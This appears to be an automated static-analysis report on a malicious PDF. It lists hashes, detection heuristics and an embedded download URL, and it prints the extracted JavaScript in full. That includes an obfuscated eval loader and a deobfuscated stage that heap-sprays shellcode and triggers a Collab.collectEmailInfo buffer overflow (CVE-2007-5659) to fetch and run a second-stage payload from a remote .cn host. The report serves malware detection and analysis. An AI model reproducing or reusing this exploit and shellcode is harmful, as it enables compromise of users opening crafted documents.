Malicious PDF — malware analysis report

Static analysis result for SHA-256 22ce06a398747d6a…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 3fc9290266db7d472b1bcba4623b330b SHA-1: 7cf56eeb559ff4e05693ca30c64da6164afb260b SHA-256: 22ce06a398747d6a0e83fb34cb0735ce1aad4de476c31d679fa4959f04107788
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), a common technique for obfuscating malicious JavaScript. The extracted artifact javascript_obj0013_001.js is also flagged for script obfuscation. The script's intent is likely to download and execute a second-stage payload, though the exact mechanism is obscured.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function N4Cbx(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function ClQrR(RzbILq56hejH){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(RzbILq56hejH)"+";"+"}");eval("function IAsBd3(IdnTz){var P9egRP3eDm="+"0,rt9Wy=IdnTz.l"+"en"+"gth,KxR14=10"+"2"+"4,FfukTcvdU,IWHMA6q,Zu4OR2E='',lgU3tvingBPcpt=P9egRP3eDm,FQ1Sa=P9egRP3eDm,zkLCnkep=P9egRP3eDm,cofcrY=Ar"+"ra"+"y(63,56,54,9,62,25,16,5,8,41,0,0,0,0,0,0,27,14,23 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/exp/load.php?id=4030&spl=4 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x363 6282 bytes
SHA-256: 3cf26616c9b70ec292f2d9a4f5c05b8b4d4588f911f36a23bfe4e8e9cd461cc1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function N4Cbx(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function ClQrR(RzbILq56hejH){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(RzbILq56hejH)"+";"+"}");eval("function IAsBd3(IdnTz){var P9egRP3eDm="+"0,rt9Wy=IdnTz.l"+"en"+"gth,KxR14=10"+"2"+"4,FfukTcvdU,IWHMA6q,Zu4OR2E='',lgU3tvingBPcpt=P9egRP3eDm,FQ1Sa=P9egRP3eDm,zkLCnkep=P9egRP3eDm,cofcrY=Ar"+"ra"+"y(63,56,54,9,62,25,16,5,8,41,0,0,0,0,0,0,27,14,23,46,33,37,47,10,18,30,15,2,26,49,52,53,17,36,42,60,61,7,39,21,59,43,35,0,0,0,0,12,0,22,57,24,29,32,44,48,11,28,31,6,50,51,45,40,0,3,1,4,55,58,19,20,34,13,38);f"+"o"+"r(IWHMA6q=M"+"at"+"h.c"+"ei"+"l(rt9Wy/"+"KxR14)"+";IWHMA6q>P9egRP3eDm;IWHMA6q-"+"-){fo"+"r(FfukTcvdU=Ma"+"th.m"+"in(rt9Wy,KxR14);FfukTcvdU>P9egRP3eDm;FfukTcvdU-"+"-,rt9Wy-"+"-){zkLCnkep|"+"=(cofcrY[IdnTz.cha"+"rCod"+"eAt(lgU3tvingBPcpt+"+"+)-48])<"+"<FQ1Sa;if(FQ1Sa){Zu4OR2E+"+"=ClQrR"+"(182^zkLCnkep&"+"2"+"5"+"5);zkLCnkep>"+">="+"8;FQ1Sa-"+"="+"2;}el"+"se{FQ1Sa="+"6"+";}}"+"}return (Zu4OR2E);}var DLElkradag=implode('',['a','KSO','s@5TVJASbB01_0obbq','fEhL32','vUfEtv_MB0fVj2oE6J_2WhS','t5','ZnEOZTTA','CFN','SmISI','44','XpCjtIm','0DL','L','5geXTZIBFZkB','d','1L','J','T','Va2fEr','XT','tLJ','nEI44X','pCjt','Im0','DcRTNcU','ngIm','3DGk_1I','0otOXoMW','UC2v0','5mF0AeXtn','tS','joE','dCoEF0Ae','XtntSj','cZh@bX','Fq','14','d','Xy0UL','bxa4','4X','p','CjtIm0Dca','Sg','wBfgs0','y2PX9DLk_1I0otOX','oMWUC2vV3Dj2oEsJngq','v_2a','44XpCj','tIm0DyLblaKT','gc','BngjVy2a','LCM7AibuJA','tzF','nVjL5maKS','Os@91Jac','TEh8','NN0C','EhL9','D','A@cOkanDW@cO','yL3','gBvfEsU0X','Qq1','TAvf','EhLbg','cJdMWjnMvX3','E','vAfe7GcDvAfe7GcD','vAfe7GcDvAfDg','JJT','vAiD7A8TvA_epa0ZvA','fZk','H0','ZvAfZ','k','L1Dv','ASS','gBcDvASSsG','cDvAS','SNq0TvASSAL1ev','A','_S','gJj','TvA_SgqJ','SvAfZNU8','SvAfSgh1','Sv','ASS','gJJS','vA_','eK','AJSvA','SS7IJ','Sv','A','SZg','q','oevAfes','KjDv','ASZgqoevA','_emJje','v','ASSg','@cDvASS','gJJ','TvA_eKAJSvA_TJLcDvA_eU','uce','vASSU','I0DvAfD','rLcD','vA','SSgj1DvASSgJJS','v','ASTtq','8','evA_TJAJTvAieruce','vA_','eqI','1DvAfDrA0D','vASSg','j8','S','vASSgJJ','SvAS','T','tq','8evA_T','JA','jevAiTtXcevASD','kA8SvA','fDrHo','SvASSg@oSvA','SSgJJSvASTtq8','evA_TJAj','DvAfDkuc','e','vAf','Dg','v1DvAfDru8SvASSgB8T','v','ASSgJJS','vA','S','Ttq8evA_TJKJSvA_DmX','cevAfD','t08evAfDrAce','vASSg','v1Z','vASS','gJJSvAS','T','t','q8e','vASTgqJ','TvA','fSrK8SvASZtvcTvA','_ep','I1ev','A_SrI','0TvASSAL8evASS','gJ0','SvA_','TUA','J','S','vAS','Ztq8evA_eKaJT','v','A','SSNj0T','v','A','SSmX1evA_','eKH','JevA','_','SrH0T','vA','fD','rH0Z','vA','SS','gq','oev','ASSgJJSvAfZrHJ','SvA_SqG','0Z','vASZgBFDvAieALc','ev','AS','SgJJ','SvA_ep','AJ','SvA_S7I0','TvA','_DtqoevA_Dgqc','T','vA_','e','pHJS','vAi','Tg','j0TvASDk','uce','vASSg','JJS','vA_Tg','JJS','vAS','Ttqoe','vAfZqKJTvA_TpAFSvA_Ttq','oev','AfDrKjevASSgX1SvASSgJJSvASTtJjT','vA','_DAaJSvA','_T7AJ','Sv','A','iT','U41DvA_DA','u1','T','vA','SSN','jJS','vAfZt0c','ev','ASSgJJSv','ASZtjoDv','A_','eK','aJS','v','ASS','7I0TvA','SS','mX1evA_eKHJevA_SrH','0TvAS','Tg@ce','v','ASSgJJS','vAfZ','qAJSvA_TrAFZvASTtJ','jTvAfSOBJTvA_','TOBoevASDkHj','T','vAiTg01TvA_T','O','vJ','SvASTt','qoevAf','ZqKjDv','A','_TpA','0Tv','A','_TtqoevAfDr','KjevASSgBjTvAS','Sg','J','J','SvASSg','X1evASZtjoDvA','_eKaJSvASSrI0TvASSlX1evA_eK','HJevA_SrH0TvA','_Sg@cevAS','SgJJSvAfZqAJSvA_eKIoDvA','_Sgj0TvASSm','X1','evA_eKHJev','A_S','rH0TvASSg','@cevASSgJJS','v','ASTmJJSvA_Tl','vFevAfD','mJjTvAfDmJjTv','AfDmJjTvAfDm','Jj','Tv','Af','D7KcTvA_Tq','A','JTv','A_eK','HjTvAfD','lB1','evA_Tl','joZvAfDgjoDvA_eKH0TvA_eKLc','DvASSr48DvA_Ts','KoevA_T','JAjD','vASZOq','oevA_eKGj','DvA_SU','48TvAS','SO0ce','vA_TJIcT','vA','SZJK','o','evASSOBJSvA','fS','O','jcTvAS','TpH8ev','AfesI0SvA_','DO','J','j','TvA','fSOv0','ZvASSkI1','ZvA','_Sg','J1D','vA','SD','lh0ev','ASS','r48TvA_D','UH','1SvASSOJJDvASTgjoSvASDm@o','evASDU','GFevASZ','tv','0DvA_Tq','L1T','vAfDKKo','evA_TqKoev','ASS','OBJTv','A','fZJa8D','v','ASS7Koev','A_e','KIFevA','_','S7H','0','evAiDs','AjTvASSN','qoevASS','Oqo','e','vA_TUH1TvA','_','DlvJDvA','SSgJjevASDN@cevA','SDkI','1DvA','_TtjoDvAST7H','FSvAST','kIJD','vASSg','j0Dv','Aie','KK','oZvAi','ekkoe','vA_Dg','B1TvA_eUH8S','vA_esK8Dv','Ai','DJa1Dv','A_DmB8DvA','_emqcDvA','_eqH8SvAiekkoZvA_e','O','v8Sv','A_','eUK8SvA_DmqoevA','_','eAkoDvAiDgU','o','DvA_eKK1','ZvAiDKaoSvAiD7','aoDvA_','DpaoDvAiek','kcD','vAi','DlqcTv','AfDkaoew4','5ZaKSOs@9','M1','B0S','7','z','F','EhL9DAhoDk','LoDk2oEpjy','Ma','4ftK','4fDkLc','eULbxaHi','SF','v','AetX_','McRTNcUng','I@3VaHcZ','aKSO','s@','5geXTZIBF','Zk','Bd1','LJnEhL','9M','1','B0S7zFE@L9VJ','X','neJ@oD','kk1D','d','Lom7','u1VyL3gBvfEF0','AeXtntSjoEhLbgcJd','M','WjnMvX3','EvASZ','k4oDvASZk4oDw45Za44XpCjtIm0DaC','oEOZ','TTAC','F','NSmIS','I','44XpC','jtIm0DLL','5g','eXTZ','I','BFZ','kBd1LJTVyL3gBvfEpjCNp','td','tO0','4O7jJ','tKAfEhL','9Vx0cDOB','Ce6v0X','aC9Ekufe','kLoDkL1V5L_4OJj','D','bto','E6VyMa','u','3gBvfE@@4NptFZ','4VTMPvTZNFoD','y','Cnbvqi0A','uj2UUyOJHFxpjC','Nptd','tO','04O7jJtKAiZ@@4NptFZ4VTM','Pv','TZNt5VjL5maa','0bZqj4OJAmJL','I4','pt42zJy','gTXo05j','iNw08TY@bxa44X','pCjtIm0Da29EsU0XQq1TAviZaCfEh@3NqZdOK','0d2','c@5','MALo1','eUi','MOjoVjL5maKSOs@','5','Ntjcb','tmib','B@bxaIn','MkZ','3g','jJdgvv_','1vviMj','V','y2cGi','2Eh_Mj','ZdN','I','45ZakTTUa4T_B4OaCoEPj0D','Ej','JmE','jyzsJnMLjdOvX5zRhj','zPY3','Ew45Za','KSOs@','5tuZ0O','q0ibqLb','xaxTNr@bTsvSOJX','5N','tjcbtmibBZ5OIjyM','thf','Vk49zPj0DEjJm','EjyzWXTOsjFgII1VLkTTUa','4T_B4Ocan','tBvSTKX3Dj45Za4yNau9Vd','YJ4','B','JSmEJ','cXkCC','EhCoE','AL3Q6L9VI2n41jTgJB4enj1uaC1','xaIoE6K9','EdYJ4BJSmEJcXsC','CEGL3D','jL','9lG','@5tuZ0Oq0i','bq24DY@9xaI1V','jL9lG@9VdYJ4BJSmEJcXkCCEhCoErL3Q6L5','tuZ0Oq0ibq24DY@9xa','I1','V','aR','flau5','tu','Z0O','q0ibq2','CD','Y@','9','xak1VjL5ma','LC','M','7Ai','buJAtzFnVj','2','oEpj','yM','aI_mwX','ied','jAOImFEhLbgcJ','dM','WjnMv','X','3EvAfDW@cOvAfDW','@cOw4','5Zakf','tjYT','NII_mw','Xied','jA','OImJ','z','LJy2P','hftaRoEKG1Z','qH1VaI','_mwXiedj','AO','I','mFEdCoEUm_O','AUctVv','ntSto','EKXTt7Z5O5Y','n2BvdbKVyMv@bxaa','j2L','YT','OwZ5O5Yn2vB','ng','mF','TOjY','T0cqd2I2iMqvyt_L3EwR','b27UyZ','aI_m','wXi','edjAO','Im','0','lj2oE','h','@','blaa','fZkGA','1rBiTUub','VyK']);");eval(IAsBd3(DLElkradag));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x363 2575 bytes
SHA-256: da7f2bc63a2bc7fcc831a955b96f0d1ae1c94adacc958edf60f95eca9e6560ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var CQUFOCUz9POv = new Array(); function CnA8MdJZG(YY6MkhJ1, wVh9hC8pcWle) { while (YY6MkhJ1.length*2<wVh9hC8pcWle){YY6MkhJ1 += YY6MkhJ1;} YY6MkhJ1 = YY6MkhJ1.substring(0,wVh9hC8pcWle/2); return YY6MkhJ1; } function Pp3uSLUjPm() { var T93CS4fBY = 0x0c0c0c0c; var rGYR6Axr = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u343D%u3330%u2630%u7073%u3D6C%u0034"); var pNCE3O = 0x400000; var yh4y00071 = rGYR6Axr.length * 2; var wVh9hC8pcWle = pNCE3O - (yh4y00071+0x38); var YY6MkhJ1 = unescape("%u9090%u9090"); YY6MkhJ1 = CnA8MdJZG(YY6MkhJ1, wVh9hC8pcWle); var vQdvkkCYasAj4u = (T93CS4fBY - 0x400000)/pNCE3O; for (var mPevK8Hoqgb9B=0;mPevK8Hoqgb9B<vQdvkkCYasAj4u;mPevK8Hoqgb9B++) { CQUFOCUz9POv[mPevK8Hoqgb9B] = YY6MkhJ1 + rGYR6Axr; } } function s80TVwsC1() { var gA1SAzSa = app.viewerVersion.toString(); gA1SAzSa = gA1SAzSa.replace(/\D/g,""); var kLNauyS5 = new Array(gA1SAzSa.charAt(0),gA1SAzSa.charAt(1),gA1SAzSa.charAt(2)); if ((kLNauyS5[0] == 8 && ((kLNauyS5[1] == 1 && kLNauyS5[2] < 2) || kLNauyS5[1] < 1)) || (kLNauyS5[0] == 7 && kLNauyS5[1] < 1) || (kLNauyS5[0] < 7)) { Pp3uSLUjPm(); var qzbx7kQbhJ = unescape("%u0c0c%u0c0c"); while(qzbx7kQbhJ.length < 44952) qzbx7kQbhJ += qzbx7kQbhJ; this.collabStore = Collab.collectEmailInfo({subj: "",msg: qzbx7kQbhJ}); } } s80TVwsC1();

Open this report in the interactive analyzer, or submit your own file for analysis.